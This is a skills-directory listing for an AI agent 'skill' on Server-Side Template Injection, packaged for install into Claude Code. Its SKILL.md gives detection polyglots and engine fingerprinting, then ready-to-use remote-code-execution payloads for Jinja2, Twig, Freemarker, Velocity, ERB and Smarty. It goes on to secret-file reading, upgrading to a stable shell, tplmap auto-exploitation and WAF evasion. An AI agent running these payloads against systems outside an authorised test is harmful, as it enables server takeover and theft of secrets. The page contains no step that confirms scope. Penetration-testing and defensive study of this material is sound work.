Skip to content
Back to skills

Ssti

ASecurity

Server-Side Template Injection detection→engine-fingerprint→RCE for web apps. Use when user input renders into a server-side template (names, greetings, email/PDF/report generators, error pages, profile fields) and math payloads evaluate. Triggers - {{7*7}} returns 49, ${7*7}, #{7*7}, Jinja2/Twig/Freemarker/Velocity/ERB/Handlebars, TemplateSyntaxError, freemarker.core.

  • 773 stars
  • 0 votes
  • 0 copies
  • 3 views
  • Added August 31, 2026
ai-agentspythonjavarubyphpshellnode

Works with

  • cli

Security analysis

A100/100

Scanned August 31, 2026

npx -y skills add s0ld13rr/pentestcode --skill ssti --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Ssti?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Ssti
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/s0ld13rr-ssti/badge)](https://www.skillsdirectory.com/skills/s0ld13rr-ssti)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: web-ssti
description: Server-Side Template Injection detection→engine-fingerprint→RCE for web apps. Use when user input renders into a server-side template (names, greetings, email/PDF/report generators, error pages, profile fields) and math payloads evaluate. Triggers - {{7*7}} returns 49, ${7*7}, #{7*7}, Jinja2/Twig/Freemarker/Velocity/ERB/Handlebars, TemplateSyntaxError, freemarker.core.
tags: [vuln_assess, exploitation]
---

# Server-Side Template Injection (SSTI)

## When this fires
Reflected input where a math/template payload EVALUATES server-side (not just echoes). Common sinks: name/greeting fields, email/PDF/report/invoice generators, custom error pages, admin templates.

## Detect
Send the polyglot; if any arithmetic evaluates, it's SSTI (reflected ≠ executed — the value must be COMPUTED):
```
${7*7}  {{7*7}}  <%= 7*7 %>  #{7*7}  ${{7*7}}  @(7*7)
```
`49`/`7777777` back = hit. Then fingerprint the engine to pick the RCE path.

## Decide — fingerprint the engine
- `{{7*7}}`=49 but `{{7*'7'}}` → `7777777` = **Jinja2/Twig (Python/PHP)**; `TemplateError` = Jinja2.
- `${7*7}`=49 = **Freemarker/Velocity (Java)** or JSP EL.
- `#{7*7}` = **Ruby ERB / Thymeleaf / JSF**.
- `<%= 7*7 %>` = **ERB (Ruby)** / EJS (Node).
- `${{7*7}}` errors but `{{7*7}}` ok = **Handlebars/Node**.

## Exploit → PROVE IMPACT (engine-specific RCE)
```
Jinja2:   {{cycler.__init__.__globals__.os.popen('id').read()}}
          {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
Twig:     {{['id']|filter('system')}}  /  {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
Freemarker: <#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
Velocity: #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("exec",...)...("id")
ERB:      <%= `id` %>  /  <%= system('id') %>
Smarty:   {system('id')}  /  {php}system('id');{/php}
```
**Proof required:** `id`/`uname -a` output (RCE), or read a secret file. Then convert to a stable shell / `record_artifact`.

## Tooling
`tplmap -u '<url>?p=*'` (auto-detect+exploit) if available; else manual per above. `nuclei -tags ssti`.

## False positives / pitfalls
- Client-side echo (value reflected but NOT computed) = XSS, not SSTI.
- Sandboxed engine (Twig sandbox, Jinja2 SandboxedEnvironment) → try the sandbox-escape gadgets from PayloadsAllTheThings before concluding dead.
- WAF stripping `{{ }}` → try `${}`, `#{}`, whitespace/comment obfuscation.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.